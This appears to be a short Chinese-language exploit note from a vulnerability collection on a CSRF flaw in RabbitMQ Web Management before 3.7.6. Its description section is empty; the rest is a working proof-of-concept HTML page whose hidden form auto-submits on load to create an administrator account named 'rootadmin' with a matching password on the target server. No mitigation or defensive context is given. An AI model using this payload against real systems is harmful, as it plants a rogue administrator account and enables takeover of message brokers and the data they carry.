RabbitMQ Web管理csrf漏洞.md

674 B / 2021-07-15 20:02:22
    RabbitMQ Web管理csrf漏洞
========================

一、漏洞简介
------------

二、漏洞影响
------------

RabbitMQ Web Management \< 3.7.6

三、复现过程
------------

    <html> 
    <h2>Add RabbitMQ Admin</h2>
    <body>
    <form name="rabbit" id="rabbit" action="https://www.0-sec.org/api/users/rootadmin" method="POST">
    <input type="hidden" name="username" value="rootadmin" />
    <input type="hidden" name="password" value="rootadmin" />
    <input type="hidden" name="tags" value="administrator" />
    <input type="submit"  value="save" />
    </form>
    <script>
      window.onload = rabbit.submit()
    </script>
    </body>
    </html>